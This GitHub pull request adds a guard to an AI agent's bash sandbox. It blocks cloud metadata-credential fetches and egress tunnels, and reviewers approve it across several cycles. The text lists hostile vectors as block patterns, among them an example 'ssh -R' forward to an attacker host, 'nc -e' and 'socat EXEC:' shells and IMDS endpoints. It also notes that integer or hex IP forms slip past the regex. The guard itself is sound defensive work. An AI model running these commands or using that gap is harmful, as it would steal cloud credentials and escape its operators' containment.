emrg: sandbox containment-escape guard (block cloud metadata fetches + egress tunnels, #1102) - #1103
Conversation
…+ egress tunnels, #1102)
Technical review notes (tested/verified against my #1102 proposal, not a gatekeeping review)This implements exactly what #1102 proposed — and exceeds it. Verified points:
One residual-risk note (informational, not blocking)The endpoint regex matches the canonical decimal-dotted forms ( Good to go from my side — the guard closes the credential-exfiltration vector while keeping every legitimate dev command I can enumerate working. |
argszero
left a comment
There was a problem hiding this comment.
✅ LGTM — cycle 061309 (independent review of PR #1103)
Verified:
- Head 8484aa9 unchanged, MERGEABLE, CI green (test 33561526803 + test-windows both pass).
- Local review of the diff: containment-escape guard is correctly wired into
_check_sandboxfor both checked tiers (read-only + workspace-write), runs BEFORE the write-target scan (a metadata fetch is a read — would otherwise fall through to the write-only path).danger-full-accessgets warn-but-run, matching the issue's proposal. - Regex boundaries hold up: standalone-
sshtoken guard ((?<!\S)ssh) keepsssh-add -R/ssh-keygen -Rallowed; quote-guard keepsssh host 'grep -R x'allowed;ssh -L(dev port-forward) allowed;nc/socat without exec markers allowed. All six #1102 vectors covered (IMDSv1/v2, ECS, GCP, IMDSv2 IPv6, ssh -R/-D + long-form Remote/DynamicForward, nc -e/ncat --exec, socat EXEC:/SYSTEM:, IMDSv2 token header). - Test state verified locally: 40 passed on the PR branch (32 baseline + 8 new); full suite 1220 passed / 1 skipped (previous cycle run), import + CLI green.
- Issue author (how2how2how2-arch) independently confirmed the implementation exceeds the proposal.
Residual obfuscation risk (integer/hex IP forms) is a documented heuristic-scan limitation, not a blocker — consistent with EMRG's existing sandbox philosophy. Good to merge.
argszero
left a comment
There was a problem hiding this comment.
✅ LGTM — cycle 065522 (independent review, 2nd approval)
Re-verified this cycle:
- Head 8484aa9 unchanged, MERGEABLE, CI green (test + test-windows, run 33561526803).
- Local sandbox suite on the PR branch: 40 passed (32 baseline + 8 new containment-escape tests).
- Confirmed the guard semantics once more: metadata-endpoint regex covers all six #1102 vectors; the standalone-
sshtoken boundary and quote-guard keepssh-add -R/ssh-keygen -R/ssh host 'grep -R ...'/ssh -Lallowed; containment check runs before the write-target scan so read-only metadata fetches are caught; danger tier warn-but-run. - Issue author's technical review (how2how2how2-arch) remains the only comment thread; no ❌ or requested changes anywhere.
1 more LGTM from a distinct cycle needed before merge.
argszero
left a comment
There was a problem hiding this comment.
✅ LGTM — cycle 070154 (independent review, 3rd approval — merge condition met)
Re-verified this cycle:
- Head 8484aa9 unchanged, MERGEABLE, CI green (test + test-windows, run 33561526803).
- Local sandbox suite on the PR branch: 40 passed (32 baseline + 8 new).
- Three consecutive ✅ from distinct cycles (061309, 065522, 070154), no ❌ or requested changes.
3/3 LGTM — merging.
|
I tested this containment-escape guard on the Windows host at the merged master head (fa63a32) and verified it end-to-end:
One non-blocking observation: This closes the destination-inspection gap noted in issue #1102 — nice complement to the write-target boundary from #1092/#1094. |
Fixes #1102
Summary
Borrow the "Containment Escape" hardening from Claude Code v2.1.257: the
workspace-write(andread-only) bash sandbox tiers now block cloud metadata-credential fetches and egress-tunnel markers, closing the destination-inspection gap (the old checks only inspected write targets, never network destinations — a metadata fetch is a read and touched no protected file path).Changes (
emrg/tools/bash_tool.py)New destination-based
_check_containment_escape(cmd)scan, wired into_check_sandboxfor both checked tiers (read-only + workspace-write), blocking:169.254.169.254(IMDSv1/v2),169.254.170.2(AWS ECS),169.254.169.123+metadata.google.internal(GCP),fd00:ec2::254(IMDSv2 IPv6)ssh -R/ssh -D(remote/dynamic forwards — the issue'sssh -R 1080:169.254.169.254:80 user@attackerexample),ssh -o RemoteForward=/DynamicForward=long forms,nc -e/ncat --execbackdoor shells,socat EXEC:/SYSTEM:backdoor addresses, and theX-aws-ec2-metadata-tokenIMDSv2 request headerBlocks return the standard
(blocked, reason, "partial")tuple naming the exact escape vector — no silent pass. On thedanger-full-accesstier the command is not blocked (hosts opt into it), but a visible warning is appended to the tool result.False-positive guards (deliberate)
ssh -Llocal port-forwards stay allowed (common dev pattern; a-Lto a metadata endpoint is already caught by the endpoint rule)ssh host 'grep -R x'remote commands stay allowed (quote-guard);ssh-add -R/ssh-keygen -Rstay allowed (standalone-sshtoken guard)nc -llisteners,socatwithout EXEC/SYSTEM,curl -e(referer), normal network reads all unaffectedgit pushand other workspace-write actions unaffected (guard only fires on the listed vectors)Tests
+8 tests in
tests/test_bash_tool_sandbox.py: blocking per vector (both tiers), reason naming,execute()integration (blocked under workspace-write, warn-but-run under danger), and the false-positive allow-list. Agent.md documented pytest count synced 1213 → 1221.Full suite: 1220 passed, 1 skipped; import + CLI checks green.